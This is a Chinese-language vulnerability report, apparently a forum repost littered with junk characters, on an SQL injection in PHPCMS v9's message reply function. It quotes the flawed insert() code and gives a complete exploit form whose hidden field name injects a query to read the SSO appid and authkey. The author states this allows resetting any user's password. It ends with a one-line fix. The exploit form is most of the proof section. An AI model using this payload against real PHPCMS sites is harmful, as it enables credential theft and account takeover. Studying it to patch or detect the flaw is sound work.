|
|
简要描述:2 |! Z& P+ Q4 M' L3 d& c* j
, H4 q- h) \7 i7 Y
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。% B4 V8 Z% o) a1 K( K8 I
+ G$ z1 O$ F! }8 @+ X' Q( p7 b7 s
明天再更新下一个漏洞。
1 ?: f! `6 g3 [( N8 n7 P4 j详细说明:2 B/ v4 v" u; | A/ I k
在/phpcms9/phpcms/modules/message/index.php中有代码如下:( K9 J# ], B, L' H5 s+ Z) l t
9 p7 h- F9 r( s0 G$messageid = $this->message_db->insert($_POST['info'],true);
$ K+ \+ F9 F1 t/ q8 W, a6 Q8 X: ^; e1 r% K2 s- P5 ^$ i
4 s' K- A' F) G" _insert方法是key value的,代码如下:
$ v; v- L1 o2 ]. V2 l7 p9 M- i M3 l/ [" w" R) K
public function insert($data, $table, $return_insert_id = false, $replace = false) {" @9 A9 c4 p! F8 \- E
if(!is_array( $data ) || $table == '' || count($data) == 0) {
9 O5 [3 ^; p: }# }8 E return false;
& z+ b9 H8 O& [' Y+ A; B1 I }; Z0 e) A8 a- d0 M0 _& T- a6 y& S
/ p7 n( \3 P9 j7 N, {/ f
$fielddata = array_keys($data);
2 r( @% z6 }& F% R- x3 c $valuedata = array_values($data);) s0 P3 B' \7 S1 g- O
array_walk($fielddata, array($this, 'add_special_char'));
3 [ |0 g! a+ e# ~& C2 J7 T- h array_walk($valuedata, array($this, 'escape_string'));' r+ M9 d8 D1 I0 p: z9 @) A
8 `/ t% c4 _: [9 g3 U/ {
$field = implode (',', $fielddata);
$ t0 E7 n2 Z% U $value = implode (',', $valuedata);
1 n9 K, W- P6 i% V( C
) w. n7 x% ^- Z( T! Q% v! i $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';: w. z# t. d7 M9 }& ~5 ~$ M
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';1 b0 s( `: |& S; M
$return = $this->execute($sql);" s& Y( E- X% s& C3 Q3 E! B
return $return_insert_id ? $this->insert_id() : $return;% r+ A! a$ V. E
}
7 Z: X' F) h- p6 s0 E
: ~" g2 Z8 Q6 }! z, F- R! a& |1 e9 R, C0 z8 K2 u
嗯,很遗憾的是% K- C- E5 q0 S& H N* ^; u! Z
- t- F p+ v1 w
array_walk($fielddata, array($this, 'add_special_char'));
% b4 J1 r# i6 m% E4 R4 V. ?
, T$ P3 {) f5 | H2 }) k2 w
& }; j4 |" o Y+ A7 g中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 ~3 Z( P- r! o0 {
1 w* N S6 y; M6 o# \1 P# H. f到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
' T& J1 A- l: ^& p- z, h h
2 S! f9 D. B5 K) b漏洞证明:; j! j# Q6 g9 I' H8 B3 Z5 F% F3 S
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。1 G7 q& j) w0 w: i+ l0 V6 ^1 B
' N; W* r$ G; T) R" Z2 g3 t/ v2 w7 U; y" z9 p# b
表单如下:用户名什么的得自己改一改。% v, h y6 d5 h. Y4 E3 s
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">6 J! T+ n1 m+ N. X* k
<table width="100%" cellspacing="0" class="table_form">
2 }, e; o/ ~" W8 x/ h5 N<tr>
# I$ {% I ]/ m0 m% j ]: b<th>标 题:</th>
, p8 d3 F% G+ m5 B<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>, q9 N! N$ W& B' e
</tr> + W9 g. n- y* N) }2 v% X; x
<tr>6 A+ U* Z! a; k9 ?5 m
<th>内 容:</th>1 y: T% B9 `& {
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>' D: V, f. t1 |( P* ~* A
</tr>( a0 L" t3 u- w, F
<input type="hidden" name="info[replyid]" value="2" />
0 M2 N$ Z; l& h# e$ F3 n% [<input type="hidden" name="info[send_to_id]" value="cc" />
; }- u3 Y5 p R- O2 r+ j<input type="hidden" name="info[send_from_id]" value="hh">
5 C# @( S/ i/ H; O<!-- 漏洞的利用重点在这里开始 -->
& o# A2 q& S; W4 d7 V( r" e/ ~<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
3 u) L, o/ {! |5 E! s# E<!-- 漏洞的利用重点在这里结束 -->" `7 U* w! U# U/ m4 U, L
<tr>/ J$ ?7 e7 S* |, ]
<th>验证码:</th>
7 q/ b2 \ s2 c3 ]7 V<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
- Q# ]# j; v8 [' \& G) }3 i$ t: I</tr>
1 W* y j0 g, w<tr>
" g9 i+ U. b$ B2 ^' G. A9 e<td></td>4 T$ L$ `5 S/ Q' j8 x* O
<td colspan="2"><label>9 |3 \' [/ `4 a# n; C- ?7 w
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>1 }% Y4 I1 o% O% y
</label></td>$ s4 Y- I5 U; q7 I
</tr>
( u+ t. g1 U- j _& p</table>9 t, H2 M0 v6 ?% |
</form>
# E/ l4 K2 I! {' l T! a在add_special_char函数内对key做过滤就可以了。
G2 N4 E: D0 E, ^$ q2 H
9 ]( y! r0 R/ i% m$ T& x' V) K9 u" u- L" u% O, M! I' m7 W
7 \ g1 V Y( W6 V |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|